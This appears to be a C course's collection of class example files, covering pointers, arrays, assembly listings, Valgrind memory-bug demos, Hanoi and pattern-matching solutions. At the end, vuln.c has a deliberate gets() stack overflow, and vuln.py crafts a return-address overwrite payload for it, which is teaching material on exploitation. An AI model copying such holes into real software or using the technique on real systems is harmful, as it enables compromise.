return 2;
}
d = discrim(p, q, r);
if(d < 0) {
printf("No roots\n");
return 0;
}
d = sqrt(d);
printf("%.5lf %.5lf\n", (-q-d)/(2*p), (-q+d)/(2*p));
return 0;
}
03 (04-02)
quad-00.cC / 31 lines
#include <stdio.h>
#include <math.h>
double discrim(double a, double b, double c)
{
return b*b - 4*a*c;
}
int main()
{
double p, q, r, d;
int n;
n = scanf("%lf %lf %lf", &p, &q, &r);
if (n != 3) {
printf("Error: wrong input.\n");
return 1;
}
if (p == 0) {
printf("Error: Not a quadratic equation!\n");
return 2;
}
d = discrim(p, q, r);
if (d < 0) {
printf("No roots\n");
return 0;
}
d = sqrt(d);
printf("%.5f %.5f\n", (-q-d)/(2*p), (-q+d)/(2*p));
return 0;
}
quad-01.cC / 17 lines
#include <stdio.h>
#include <math.h>
int main()
{
int n;
double a, b, c, d, x1, x2;
n = scanf("%lf %lf %lf", &a, &b, &c);
if (n != 3) { printf("Error: wrong input.\n"); return 1; }
if (a == 0) { printf("Error: Not a quadratic equation!\n"); return 2; }
d = b*b - 4*a*c;
if (d < 0) { printf("No roots\n"); return 0; }
d = sqrt(d);
x1 = (-b-d)/(2*a); x2 = (-b+d)/(2*a);
printf("%.5f %.5f\n", x1, x2);
return 0;
}
03 (04-03)
int.cC / 7 lines
#include <stdio.h>
int main()
{
printf("%ld\n", sizeof(int));
return 0;
}
04 (04-03)
string-00.cC / 10 lines
#include <stdio.h>
int main() {
char str[] = "Hello";
char* ptr = "there";
str[1] = *("a"+2);
/* ptr[1] = "a"; */
printf("%s %s\n", str, ptr);
return 0;
}
06 (04-03)
11 (04-03)
address.cC / 10 lines
#include <stdio.h>
int main() {
int x;
int *p; /* p can store address of int */
p = &x; /* p stores address of x */
*p = 27; /* save 27 into address of x */
printf("%x %x %x %d %d\n", p, &p, &x, x, *p);
return 0;
}
pointer.cC / 8 lines
#include <stdio.h>
int main() {
int x = 25;
int *p = &x;
printf("%d\n", p[0]);
return 0;
}
Stack layout & pass-by-value assembly tests
layout.cC / 14 lines
#include <stdio.h>
void foo() {
char arr[4] = {'A', 'B', 'C', 'D'};
void **fp = (void **)__builtin_frame_address(0);
printf("arr[0] = %p\n", (void*)&arr[0]);
printf("arr[3] = %p\n", (void*)&arr[3]);
printf("ret addr= %p\n", (void*)&fp[1]);
}
int main() {
foo();
return 0;
}
pass_by_value.cC / 16 lines
/* gcc -S -masm=intel -fno-asynchronous-unwind-tables pass_by_value.c -o - | grep -vE '^\s*\.' > pass_by_value.asm */
int add(int x, int y)
{
return x + y;
}
int main()
{
int a, b, c, d, e;
a = 1;
b = 2;
c = add(a, b);
d = 4;
e = 9;
}
pass_by_value.asmAssembly / 27 lines
add:
push rbp
mov rbp, rsp
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov edx, DWORD PTR -4[rbp]
mov eax, DWORD PTR -8[rbp]
add eax, edx
pop rbp
ret
main:
push rbp
mov rbp, rsp
sub rsp, 32
mov DWORD PTR -4[rbp], 1
mov DWORD PTR -8[rbp], 2
mov edx, DWORD PTR -8[rbp]
mov eax, DWORD PTR -4[rbp]
mov esi, edx
mov edi, eax
call add
mov DWORD PTR -12[rbp], eax
mov DWORD PTR -16[rbp], 4
mov DWORD PTR -20[rbp], 9
mov eax, 0
leave
ret
pass_by_value_pointer.cC / 15 lines
/* gcc -S -masm=intel -fno-asynchronous-unwind-tables prog.c -o - | grep -vE '^\s*\.' > prog.asm */
void add(int x, int y, int *z)
{
*z = x + y;
}
int main()
{
int a, b;
int *c;
a = 1;
b = 2;
add(a, b, c);
}
pass_by_value_pointer.asmAssembly / 29 lines
add:
push rbp
mov rbp, rsp
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov QWORD PTR -16[rbp], rdx
mov edx, DWORD PTR -4[rbp]
mov eax, DWORD PTR -8[rbp]
add edx, eax
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
nop
pop rbp
ret
main:
push rbp
mov rbp, rsp
sub rsp, 16
mov DWORD PTR -4[rbp], 1
mov DWORD PTR -8[rbp], 2
mov rdx, QWORD PTR -16[rbp]
mov ecx, DWORD PTR -8[rbp]
mov eax, DWORD PTR -4[rbp]
mov esi, ecx
mov edi, eax
call add
mov eax, 0
leave
ret
pass_by_value_tree.cC / 19 lines
#include <stdlib.h>
/* gcc -S -masm=intel -fno-asynchronous-unwind-tables prog.c -o - | grep -vE '^\s*\.' > prog.asm */
void init(int *p)
{
p = NULL;
}
int main()
{
int *p, *q;
int x, y;
x = 5;
p = &x;
init(p);
q = p;
return 0;
}
pass_by_value_tree.asmAssembly / 20 lines
init:
push rbp
mov rbp, rsp
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -8[rbp], 0
nop
pop rbp
ret
main:
push rbp
mov rbp, rsp
sub rsp, 16
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call init
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR -16[rbp], rax
mov eax, 0
leave
ret
12 (04-03)
MakefileMake / 8 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
13 (04-03)
array-00.cC / 11 lines
#include <stdio.h>
int main()
{
int a[3];
a[0] = 1;
a[1] = 2;
a[2] = 3;
printf("%d %d %d\n", a[0], a[1], a[2]);
return 0;
}
array-01.cC / 13 lines
#include <stdio.h>
int main() {
int x;
int *p;
int m[20];
x = 25;
p = &x;
m = p;
return 0;
}
array-02.cC / 21 lines
#include <stdio.h>
int main(void) {
int arr[5] = {1, 2, 3, 4, 5};
int *const ptr = arr; /* Closest pointer equivalent */
/* Difference 1: sizeof */
printf("sizeof(arr): %zu\n", sizeof(arr)); /* 20 (if int is 4 bytes) */
printf("sizeof(ptr): %zu\n", sizeof(ptr)); /* 8 (on 64-bit systems) */
/* Difference 2: Address-of */
/* arr and &arr evaluate to the same memory address */
printf("arr : %p\n", (void*)arr);
printf("&arr: %p\n", (void*)&arr);
/* ptr and &ptr evaluate to different memory addresses */
printf("ptr : %p\n", (void*)ptr);
printf("&ptr: %p\n", (void*)&ptr);
return 0;
}
array-03.cC / 30 lines
#include <stdio.h>
#define NCOL 4
void print_matrix(int (*a)[NCOL], int m)
{
for (int i = 0; i < m; i++) {
printf("[");
for (int j = 0; j < NCOL; j++)
printf("%2d ", a[i][j]);
printf("]");
if (i != m - 1)
printf("\n");
}
}
int main()
{
int a[][NCOL] = {
{ 1, 2, 3, 4},
{ 5, 6, 7, 8},
{ 9, 10, 11, 12}
};
int m = sizeof(a) / sizeof(*a);
int (*p)[NCOL];
p = a;
print_matrix(p, m);
return 0;
}
array-04.cC / 6 lines
int main(void) {
int arr[5];
/* Intentional mismatch to trigger a warning */
int *ptr = &arr;
return 0;
}
array-05.cC / 13 lines
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *a[3];
*a = malloc(3*sizeof(int));
(*a)[0] = 1;
(*a)[1] = 2;
(*a)[2] = 3;
printf("%d %d %d\n", (*a)[0], (*a)[1], (*a)[2]);
return 0;
}
array-06.cC / 21 lines
#include <stdio.h>
void modify_array(int a[])
{
a[0] = 5;
a[1] = 6;
a[2] = 7;
a[3] = 8;
}
int main()
{
int a[4];
a[0] = 1;
a[1] = 2;
a[2] = 3;
a[3] = 4;
modify_array(a);
printf("%d %d %d %d\n", a[0], a[1], a[2], a[3]);
return 0;
}
Valgrind memory tests (appendix-02)
MakefileMake / 18 lines
PROGRAMS = valgrind06
CC = gcc
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
%.o: %.c %.h
$(CC) -c $< -o $@ $(CFLAGS)
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $^ -o $@ $(CFLAGS)
clean:
rm -f *.o $(PROGRAMS)
ctags:
ctags *.c *.h
ignore.cC / 13 lines
#include <stdio.h>
#include <unistd.h>
int main()
{
int i;
for (i = 0; i < 1000; i++) {
printf("hello there\n");
sleep(1);
}
return 0;
}
valgrind00.cC / 15 lines
#include <stdio.h>
int main()
{
int i, x;
for (i = 0; i < 10; i++) {
if (x < 10)
printf("First\n");
else
printf("Second\n");
x = i*i;
}
return 0;
}
valgrind01.cC / 11 lines
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *p;
p = malloc(sizeof(*p));
return 0;
};
valgrind02.cC / 16 lines
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *p;
p = malloc(sizeof(*p));
*p = 10;
p = NULL;
free(p);
return 0;
};
valgrind03.cC / 16 lines
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *p;
p = malloc(sizeof(*p));
*p = 10;
p = NULL;
free(p);
return 0;
};
valgrind04.cC / 18 lines
#include <stdio.h>
#include <stdlib.h>
enum { num_elements = 5 };
int main()
{
int *a, i;
a = malloc(num_elements * sizeof(*a));
for (i = 0; i <= num_elements; i++)
a[i] = 0;
free(a);
return 0;
};
valgrind05.cC / 13 lines
#include <stdlib.h>
int main()
{
int *p;
p = malloc(sizeof(*p));
free(p);
*p = 5;
return 0;
}
valgrind06.cC / 12 lines
#include <stdlib.h>
int main()
{
int *p;
p = malloc(sizeof(*p));
free(p);
free(p);
return 0;
}
15 (04-03)
const-00.cC / 14 lines
#include <stdio.h>
void trustworthy_func(const int *a)
{
*a = 5;
}
int main()
{
int x = 5;
trustworthy_func(&x);
printf("%d\n", x);
return 0;
}
const-01.cC / 15 lines
#include <stdio.h>
const int global_prime_numbers[] = {1, 2, 3, 5, 7, 11, 13, 17};
const int global_random_numbers[] = {5, 3, 7};
int main() {
int *p;
int x;
const int local_prime_numbers[] = {1, 2, 3, 5, 7, 11, 13, 17};
x = 5;
p = &x;
global_prime_numbers = global_random_numbers;
printf("%d\n", *global_prime_numbers);
return 0;
}
16 (04-03)
lvalue.cC / 17 lines
#include <stdio.h>
int main() {
int *ptrvec[20];
int x;
x = 27;
ptrvec[5] = &x;
printf("Base address of array ptrvec %p\n", ptrvec);
printf("Address of index (Base+40) ptrvec+5 %p\n", ptrvec+5);
printf("Value stored at index 5 *(ptrvec+5) (&x) %p\n", *(ptrvec+5));
printf(" (the pointer &x) ptrvec[5] %p\n", ptrvec[5]);
printf("Final value after second **(ptrvec+5) (x) %d\n", **(ptrvec+5));
printf(" dereference *ptrvec[5] (x) %d\n", *ptrvec[5]);
return 0;
}
pascal.pasPascal / 59 lines
program lval;
type
PInner = ^TInner;
TInner = record
m: integer;
end;
POuter = ^TOuter;
TOuter = record
name: string;
t: PInner;
end;
var
p: array [1..3] of POuter;
x: integer;
q: ^integer;
function f(x: integer): integer; { some index computation }
begin
f := x mod 3 + 1
end;
procedure twice(var v: integer); { var: gets the variable itself }
begin
v := v * 2
end;
procedure setup;
var
i: integer;
begin
for i := 1 to 3 do begin
new(p[i]);
new(p[i]^.t);
p[i]^.t^.m := i * 100
end
end;
procedure show;
var
i: integer;
begin
for i := 1 to 3 do
write('p[', i, ']^.t^.m = ', p[i]^.t^.m, ' ');
writeln
end;
begin
setup;
show;
x := 4; { f(4) = 2 }
writeln('read: ', p[f(x)]^.t^.m);
p[f(x)]^.t^.m := 7; { assign }
inc(p[f(x)]^.t^.m); { inc takes a var param: 8 }
twice(p[f(x)]^.t^.m); { our own var param: 16 }
show;
q := @p[f(x)]^.t^.m; { has an address }
q^ := 99;
show
end.
Book example: hanoi.c
hanoi.cC / 27 lines
#include <stdio.h>
#include <stdlib.h> /* for atoi */
static void solve(int source, int target, int interm, int n)
{
if(n == 0)
return;
solve(source, interm, target, n-1);
printf("%d: %d -> %d\n", n, source, target);
solve(interm, target, source, n-1);
}
int main(int argc, char **argv)
{
int n;
if(argc < 2) {
fprintf(stderr, "No parameter given\n");
return 1;
}
n = atoi(argv[1]);
if(n < 1) {
fprintf(stderr, "Incorrect token count\n");
return 2;
}
solve(1, 3, 2, n);
return 0;
}
Book example: match_c.c
match_c.cC / 40 lines
#include <stdio.h>
int match(const char *str, const char *pat)
{
int i;
for(;; str++, pat++) {
switch(*pat) {
case 0:
return *str == 0;
case '*':
for(i=0; ; i++) {
if(match(str+i, pat+1))
return 1;
if(!str[i])
return 0;
}
case '?':
if(!*str)
return 0;
break;
default:
if(*str != *pat)
return 0;
}
}
}
int main(int argc, const char **argv)
{
if(argc < 3) {
printf("Need two arguments\n");
return 1;
}
if(match(argv[1], argv[2]))
printf("YES\n");
else
printf("NO\n");
return 0;
}
Book example: match_c2.c
match_c2.cC / 49 lines
#include <stdio.h>
int starmatch(const char *str, const char *pat);
int match(const char *str, const char *pat)
{
switch(*pat) {
case 0:
return *str == 0;
case '?':
if(!*str)
return 0;
return match(str+1, pat+1);
case '*':
return starmatch(str, pat+1);
default:
if(*str != *pat)
return 0;
return
match(str+1, pat+1);
}
}
int starmatch(const char *str, const char *pat)
{
int i;
for(i=0; ; i++){
int res = match(str+i, pat);
if(res)
return 1;
if(!str[i])
return 0;
}
}
int main(int argc, const char **argv)
{
if(argc < 3) {
printf("Need two arguments\n");
return 1;
}
if(match(argv[1], argv[2]))
printf("YES\n");
else
printf("NO\n");
return 0;
}
22 (04-03)
hanoi-00.cC / 41 lines
#include <stdio.h>
int str2int(char *s) {
int n = 0;
for (int i = 0; s[i]; i++) {
if (s[i] < '0' || s[i] > '9')
return -1;
else {
n *= 10;
n += s[i] - '0';
}
}
return n;
}
void move_disk(int disks, int src, int tmp, int dest) {
if (!disks)
return;
else {
move_disk(disks-1, src, dest, tmp);
printf("%d: %d -> %d\n", disks, src, dest);
move_disk(disks-1, tmp, src, dest);
}
}
int main(int argc, char **argv) {
int number_of_disks;
if (argc != 2) {
printf("Wrong number of inputs\n");
return 1;
}
number_of_disks = str2int(argv[1]);
if (number_of_disks == -1) {
printf("Enter a valid number\n");
return 2;
}
move_disk(number_of_disks, 1, 2, 3);
return 0;
}
hanoi-01.cC / 26 lines
#include <stdio.h>
#include <stdlib.h>
void move_disk(int disks, int src, int tmp, int dest, int *i) {
if (!disks)
return;
move_disk(disks-1, src, dest, tmp, i);
printf("%d\t%d: %d -> %d\n", (*i)++, disks, src, dest);
move_disk(disks-1, tmp, src, dest, i);
}
int main(int argc, char **argv) {
int i = 1;
int number_of_disks;
if (argc != 2) {
fprintf(stderr, "Wrong number of inputs\n");
return 1;
}
number_of_disks = atoi(argv[1]);
if (number_of_disks < 1) {
fprintf(stderr, "Enter a valid number\n");
return 2;
}
move_disk(number_of_disks, 1, 2, 3, &i);
return 0;
}
hanoi-02.cC / 155 lines
#include <stdio.h>
#include <stdlib.h>
/*
i - move number
if (i % 2 == 1) {
if (n % 2 == 0)
1 -> 2 -> 3 -> 1
else
1 -> 3 -> 2 -> 1
} else {
other move than makes sense
}
*/
enum { NRODS = 3};
struct disk {
int num;
struct disk *next;
};
struct move {
int num;
int src;
int dest;
};
void place_disk(struct disk **d, int num) {
struct disk *tmp;
tmp = malloc(sizeof *tmp);
tmp->num = num;
tmp->next = *d;
*d = tmp;
}
void remove_disk(struct disk **d, int *num) {
struct disk *tmp;
tmp = *d;
*num = tmp->num;
*d = (*d)->next;
free(tmp);
}
void print_rod(const struct disk *d) {
for ( ; d; d = d->next)
printf("%d\n", d->num);
}
int in_rod(const struct disk *d, int num) {
for ( ; d; d = d->next)
if (d->num == num)
return 1;
return 0;
}
int empty_rod(const struct disk *d) {
if (d)
return 0;
else
return 1;
}
int find_disk(struct disk *disks[], int num) {
int found = 0;
for (int i = 1; i <= NRODS; i++) {
found = in_rod(disks[i], num);
if (found)
return i;
}
return 0;
}
int find_empty(struct disk *disks[]) {
int found = 0;
for (int i = 1; i <= NRODS; i++) {
found = empty_rod(disks[i]);
if (found)
return i;
}
return 0;
}
int rotate(int x, int sign) {
int res;
res = x + sign;
if (res == NRODS + 1)
res = 1;
else if (res == 0)
res = NRODS;
return res;
}
int move_smallest(struct disk *disks[], int sign, struct move *res) {
res->src = find_disk(disks, 1);
if (!res->src) {
fprintf(stderr, "Disk suddenly disappeared\n");
exit(1);
}
res->dest = rotate(res->src, sign);
return 0;
}
/* find 2, check if it is not blocked,
otherwise find 3, 4, ... */
int move_other(struct disk *disks[], int ndisks, struct move *res) {
for (int i = 2; i <= ndisks; i++) {
res->src = find_disk(disks, i);
if (i == disks[res->src]->num) {
res->dest = find_empty(disks);
if (res->dest)
return 0;
else
for (int j = i + 1; j <= ndisks; j++) {
res->dest = find_disk(disks, j);
if (j == disks[res->dest]->num)
return 0;
}
}
}
return 0;
}
void move_disks(int ndisks, int src, int tmp, int dest) {
struct move res;
int sign = (ndisks % 2 == 0) ? 1 : -1;
struct disk *disks[1+NRODS] = {NULL, NULL, NULL, NULL}; /* only 1-3 used */
for (int i = ndisks; i > 0; i--)
place_disk(&disks[src], i);
for (int i = 1; disks[1] || disks[2]; i++) {
if (i % 2 == 1)
move_smallest(disks, sign, &res);
else
move_other(disks, ndisks, &res);
remove_disk(&disks[res.src], &res.num);
place_disk(&disks[res.dest], res.num);
printf("%d: %d -> %d\n", res.num, res.src, res.dest);
}
}
int main(int argc, char **argv) {
int number_of_disks;
if (argc != 2) {
fprintf(stderr, "Wrong number of inputs\n");
return 1;
}
number_of_disks = atoi(argv[1]);
if (number_of_disks < 1) {
fprintf(stderr, "Enter a valid number\n");
return 2;
}
move_disks(number_of_disks, 1, 2, 3);
return 0;
}
hanoi-03.cC / 103 lines
#include <stdio.h>
#include <stdlib.h>
struct disk {
int num;
struct disk *next;
};
struct rods {
int ndisks;
int from;
int via;
int to;
};
int continuos_count_rod(const struct disk *d) {
int count;
for (count = 0; d && d->num == count + 1; d = d->next)
count++;
return count;
}
void put_disk(struct disk **d, int num) {
struct disk *tmp;
tmp = malloc(sizeof *tmp);
tmp->num = num;
tmp->next = *d;
*d = tmp;
}
void move_disk(struct disk **src, struct disk **dst) {
struct disk *tmp;
tmp = *src;
*src = (*src)->next;
tmp->next = *dst;
*dst = tmp;
}
void swap(int *x, int *y) {
int tmp = *x;
*x = *y;
*y = tmp;
}
void from_smallest(struct rods *r, struct disk *disks[]) {
if (disks[r->to] && disks[r->to]->num == 1)
swap(&r->from, &r->to);
else if (disks[r->via] && disks[r->via]->num == 1)
swap(&r->from, &r->via);
}
void not_smallest_to_from(struct rods *r, struct disk *disks[]) {
if (disks[r->from] && disks[r->from]->num == 1)
swap(&r->from, &r->via);
else if (disks[r->to] && disks[r->to]->num == 1)
swap(&r->to, &r->via);
}
void decide_subtower(struct rods *r, struct disk *disks[]) {
if (disks[r->from]) {
int count = continuos_count_rod(disks[r->from]);
for (int i = count; i > 1; i--)
swap(&r->via, &r->to);
}
}
void solve(struct rods *r) {
struct disk *disks[] = {NULL, NULL, NULL, NULL};
for (int i = r->ndisks; i > 0; i--)
put_disk(&disks[r->from], i);
for (int i = 1; (disks[1] || disks[2]);) {
if (i % 2 == 1)
from_smallest(r, disks);
else
not_smallest_to_from(r, disks);
decide_subtower(r, disks);
if (disks[r->from] &&
(!disks[r->to] ||
(disks[r->from]->num < disks[r->to]->num))) {
move_disk(&disks[r->from], &disks[r->to]);
printf("%d\t%d: %d -> %d\n",
i, disks[r->to]->num, r->from, r->to);
i++;
} else
swap(&r->to, &r->from);
}
}
int main(int argc, char *argv[]) {
int ndisks;
if (argc < 2) {
fprintf(stderr, "Usage: ./prog <number of disks>\n");
return 1;
}
ndisks = atoi(argv[1]);
if (ndisks < 1) {
fprintf(stderr, "Enter a valid number of disks\n");
return 2;
}
struct rods r = {ndisks, 1, 2, 3};
solve(&r);
return 0;
}
hanoi-04.cC / 96 lines
#include <stdio.h>
#include <stdlib.h>
enum purpose { TEMP, LARGEST, REST };
struct task {
int from, to, how_many;
enum purpose why;
struct task *next;
};
void add_task(struct task **t, int from, int to, int how_many,
enum purpose why) {
struct task *tmp;
tmp = malloc(sizeof *tmp);
tmp->from = from;
tmp->to = to;
tmp->how_many = how_many;
tmp->why = why;
tmp->next = *t;
*t = tmp;
}
void remove_task(struct task **t) {
struct task *tmp;
tmp = *t;
*t = (*t)->next;
free(tmp);
}
int via_which(int from, int to) {
if (from != 1 && to != 1)
return 1;
else if (from != 2 && to != 2)
return 2;
else
return 3;
}
void case_temp(struct task **t) {
(*t)->why = LARGEST;
int how_many = (*t)->how_many;
if (how_many > 1) {
int from = (*t)->from;
int to = via_which((*t)->from, (*t)->to);
how_many--;
add_task(t, from, to, how_many, TEMP);
}
}
void case_largest(struct task **t, int *i) {
(*t)->why = REST;
printf("%d\t%d: %d -> %d\n", *i, (*t)->how_many, (*t)->from, (*t)->to);
(*i)++;
int how_many = (*t)->how_many;
if (how_many > 1) {
int from = via_which((*t)->from, (*t)->to);
int to = (*t)->to;
how_many--;
add_task(t, from, to, how_many, TEMP);
}
}
void solve(struct task **t, int how_many, int from, int via, int to) {
add_task(t, from, to, how_many, TEMP);
for (int i = 1; *t;) {
switch ((*t)->why) {
case TEMP:
case_temp(t);
break;
case LARGEST:
case_largest(t, &i);
break;
case REST:
remove_task(t);
}
}
}
int main(int argc, char **argv) {
int how_many, from = 1, via = 2, to = 3;
struct task *t = NULL;
if (argc < 2) {
fprintf(stderr, "Usage: ./prog <number of disks>\n");
return 1;
}
how_many = atoi(argv[1]);
if (how_many < 1) {
fprintf(stderr, "Enter a valid number of disks\n");
return 2;
}
solve(&t, how_many, from, via, to);
return 0;
}
match.cC / 46 lines
#include <stdio.h>
int match_pattern(char *s, int is, char *p, int ip) {
int res;
while (1) {
if (p[ip] == 0)
if (s[is] == 0)
return 1;
else
return 0;
else if (p[ip] == '*') {
ip++;
for (; s[is]; is++) {
res = match_pattern(s, is, p, ip);
if (res == 1)
return 1;
}
if (res == 0)
return 0;
} else if (s[is] == 0 && p[ip] != '?' && s[is] != p[ip])
return 0;
else {
is++;
ip++;
}
}
}
int main(int argc, char **argv) {
if (argc != 3) {
fprintf(stderr, "Usage: ./match <string> <patter>\n");
return 1;
}
int result = match_pattern(argv[1], 0, argv[2], 0);
printf("%d\n", result);
/*
if (result)
printf("String %s matches pattern %s\n",
argv[1], argv[2]);
else
printf("String %s does NOT match pattern %s\n",
argv[1], argv[2]);
*/
return 0;
}
Book example: untilspace.c
untilspace.cC / 19 lines
#include <stdio.h>
int main()
{
int c, pr;
pr = 1; /* true */
while((c = getchar()) != EOF) {
if(c == '\n') {
putchar('\n');
pr = 1;
} else
if(c == ' ') {
pr = 0;
} else {
if(pr)
putchar(c);
}
}
return 0;
}
01 (04-04)
echo.cC / 11 lines
#include <stdio.h>
int main()
{
int c;
while ((c = getchar()) != EOF)
putchar(c);
return 0;
}
Book example: sin360.c
sin360.cC / 21 lines
#include <stdio.h>
#include <math.h>
int main()
{
FILE *f;
int angledeg;
f = fopen("sincos.txt", "w");
if(!f) {
perror("sincos.txt");
return 1;
}
for(angledeg = 0; angledeg < 360; angledeg++) {
double rads = (double)angledeg * M_PI / 180.0;
double s = sin(rads);
double c = cos(rads);
fprintf(f, "%03d % 7.5f % 7.5f\n", angledeg, s, c);
}
fclose(f);
return 0;
}
02 (04-04)
functions.cC / 9 lines
void test_int(char c) {
}
int main() {
char c = 'a';
test_int(c);
return 0;
}
functions.sAssembly / 65 lines
.file "functions.c"
.intel_syntax noprefix
.text
.globl test_int
.type test_int, @function
test_int:
.LFB0:
.cfi_startproc
push ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
mov ebp, esp
.cfi_def_cfa_register 5
sub esp, 4
call __x86.get_pc_thunk.ax
add eax, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_
mov eax, DWORD PTR 8[ebp]
mov BYTE PTR -4[ebp], al
nop
leave
.cfi_restore 5
.cfi_def_cfa 4, 4
ret
.cfi_endproc
.LFE0:
.size test_int, .-test_int
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
push ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
mov ebp, esp
.cfi_def_cfa_register 5
sub esp, 16
call __x86.get_pc_thunk.ax
add eax, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_
mov BYTE PTR -1[ebp], 97
movsx eax, BYTE PTR -1[ebp]
push eax
call test_int
add esp, 4
mov eax, 0
leave
.cfi_restore 5
.cfi_def_cfa 4, 4
ret
.cfi_endproc
.LFE1:
.size main, .-main
.section .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
.globl __x86.get_pc_thunk.ax
.hidden __x86.get_pc_thunk.ax
.type __x86.get_pc_thunk.ax, @function
__x86.get_pc_thunk.ax:
.LFB2:
.cfi_startproc
mov eax, DWORD PTR [esp]
ret
.cfi_endproc
.LFE2:
.ident "GCC: (Debian 14.2.0-19) 14.2.0"
.section .note.GNU-stack,"",@progbits
scanf-00.cC / 8 lines
#include <stdio.h>
int main() {
char c;
scanf("%c", &c);
printf("%c", c);
return 0;
}
scanf-01.cC / 9 lines
#include <stdio.h>
int main() {
int a, b, c, res;
res = scanf("%d %d %d", &a, &b, &c);
printf("%d\n", res);
/* printf("%d %d %d\n", a, b, c); */
return 0;
}
Book example: fgetcputc.c
fgetcputc.cC / 33 lines
#include <stdio.h>
int main(int argc, char **argv)
{
FILE *from, *to;
int c, lcnt;
if(argc < 3) {
fprintf(stderr, "Too few arguments\n");
return 1;
}
from = fopen(argv[1], "r");
if(!from) {
perror(argv[1]);
return 2;
}
to = fopen(argv[2], "w");
if(!to) {
perror(argv[2]);
fclose(from);
return 3;
}
lcnt = 0;
while((c = fgetc(from)) != EOF) {
fputc(c, to);
if(c == '\n')
lcnt++;
if(lcnt >= 10)
break;
}
fclose(to);
fclose(from);
return 0;
}
03 (04-04)
fgetcpuc.cC / 51 lines
#include <stdio.h>
#include <stdlib.h>
void open_file(FILE *f, const char *file_name, const char *mode){
f = fopen(file_name, mode);
if (!f) {
perror(file_name);
exit(1);
}
}
int copy_lines(FILE *fr, FILE *fw, int nlines) {
int c, i;
for (i = 0; i < nlines; i++) {
c = fgetc(fr);
switch (c) {
case EOF:
return i;
case '\n':
i++;
}
fputc(c, fw);
/* c = fputc(c, fw);
if (c == EOF)
return i;
*/
}
return i;
}
int main(int argc, char **argv) {
FILE *fr, *fw;
fr = fopen("fgetcpuc-read.txt", "r");
if (!fr) {
perror("fgetcpuc-read.txt");
exit(1);
}
fw = fopen("fgetcpuc-write.txt", "w");
if (!fw) {
perror("fgetcpuc-write.txt");
exit(1);
}
copy_lines(fr, fw, 10);
fclose(fw);
fclose(fr);
return 0;
}
04 (04-04)
fgets.cC / 19 lines
#include <stdio.h>
int main(void)
{
// BAD: Uninitialized pointer (will crash)
// char *bad_ptr;
// fgets(bad_ptr, 50, stdin);
// GOOD: Pointer backed by stack memory
char buf[50];
char *good_ptr = buf;
printf("Enter text: ");
if (fgets(good_ptr, 50, stdin) != NULL) {
printf("You entered: %s", good_ptr);
}
return 0;
}
fgets.sAssembly / 45 lines
.file "fgets.c"
.intel_syntax noprefix
.text
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "Enter text: "
.LC1:
.string "You entered: %s"
.section .text.startup,"ax",@progbits
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
push rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
lea rdi, .LC0[rip]
xor eax, eax
sub rsp, 64
.cfi_def_cfa_offset 80
call printf@PLT
lea rbx, 14[rsp]
mov esi, 50
mov rdx, QWORD PTR stdin[rip]
mov rdi, rbx
call fgets@PLT
test rax, rax
je .L2
mov rsi, rbx
lea rdi, .LC1[rip]
xor eax, eax
call printf@PLT
.L2:
add rsp, 64
.cfi_def_cfa_offset 16
xor eax, eax
pop rbx
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Debian 14.2.0-19) 14.2.0"
.section .note.GNU-stack,"",@progbits
sin360.cC / 18 lines
#include <stdio.h>
#include <math.h>
int main() {
int i;
double s, c;
FILE *f;
f = fopen("sincos.txt", "w");
for (i = 0; i < 360; i++) {
s = sin(M_PI/180*i);
c = cos(M_PI/180*i);
fprintf(f, "%d \t %f \t %f\n", i, s, c);
}
return 0;
}
vuln.cC / 20 lines
/*
gcc -std=c89 -fno-stack-protector -no-pie -z execstack -fno-asynchronous-unwind-tables -S -o vuln.s vuln.c
*/
#include <stdio.h>
void win(void) {
write(1, "*** EXPLOITED ***\n", 18);
_exit(0);
}
void vuln(void) {
char buf[16];
gets(buf);
}
int main(void) {
vuln();
return 0;
}
vuln.pyPython / 5 lines
import sys
padding = b'A' * 16
fake_rbp = b'B' * 8
win_addr = (0x401146).to_bytes(8, 'little')
sys.stdout.buffer.write(padding + fake_rbp + win_addr)
vuln.sAssembly / 73 lines
.file "vuln.c"
.text
.section .rodata
.LC0:
.string "*** EXPLOITED ***\n"
.text
.globl win
.type win, @function
win:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
movl $18, %edx
leaq .LC0(%rip), %rax
movq %rax, %rsi
movl $1, %edi
movl $0, %eax
call write@PLT
movl $0, %edi
movl $0, %eax
call _exit@PLT
nop
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size win, .-win
.globl vuln
.type vuln, @function
vuln:
.LFB1:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $16, %rsp
leaq -16(%rbp), %rax
movq %rax, %rdi
call gets@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size vuln, .-vuln
.globl main
.type main, @function
main:
.LFB2:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
